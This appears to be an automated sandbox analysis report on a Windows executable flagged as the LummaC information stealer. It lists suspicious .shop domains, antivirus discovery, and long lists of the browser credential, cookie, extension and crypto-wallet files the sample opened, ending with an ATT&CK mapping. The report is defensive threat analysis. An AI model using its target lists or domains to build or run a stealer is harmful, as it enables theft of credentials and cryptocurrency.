Source: iPUk65i3yI.exe	String found in binary or memory: alcojoldwograpciw.shop
Source: iPUk65i3yI.exe	String found in binary or memory: incredibleextedwj.shop
Source: iPUk65i3yI.exe	String found in binary or memory: shortsvelventysjo.shop
Source: iPUk65i3yI.exe	String found in binary or memory: shatterbreathepsw.shop

Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.3.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: iPUk65i3yI.exe, 00000000.00000003.1783121206.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: iPUk65i3yI.exe PID: 7352, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: iPUk65i3yI.exe, 00000000.00000003.1713571924.0000000002E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p": "%appdata%\\Electrum\\wallets",
Source: iPUk65i3yI.exe, 00000000.00000003.1713571924.0000000002E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "ez": "Jaxx Liberty"
Source: iPUk65i3yI.exe, 00000000.00000003.1713571924.0000000002E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "m": ["app-store.json", ".finger-print.fp", "simple-storage.json", "window-state.json"],
Source: iPUk65i3yI.exe, 00000000.00000003.1713571924.0000000002E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p": "%appdata%\\Exodus\\exodus.wallet",
Source: iPUk65i3yI.exe, 00000000.00000003.1713571924.0000000002E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "ez": "ExodusWeb3"
Source: iPUk65i3yI.exe, 00000000.00000002.1989435598.0000000000198000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: 7Aapp-store.jsonAWallets/BinanceC:\Users\user\AppData\Roaming\BinanceA%appdata%\Binancex
Source: iPUk65i3yI.exe, 00000000.00000003.1713571924.0000000002E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p": "%appdata%\\Ethereum",
Source: iPUk65i3yI.exe, 00000000.00000003.1783003790.0000000002E4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: iPUk65i3yI.exe, 00000000.00000003.1713571924.0000000002E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "keystore"
Source: iPUk65i3yI.exe, 00000000.00000002.1989435598.0000000000198000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: 6AC:\Users\user\AppData\Roaming\Ledger Live+

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior

Source: Yara match

File source: Process Memory Space: iPUk65i3yI.exe PID: 7352, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: iPUk65i3yI.exe PID: 7352, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	11 Virtualization/Sandbox Evasion	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
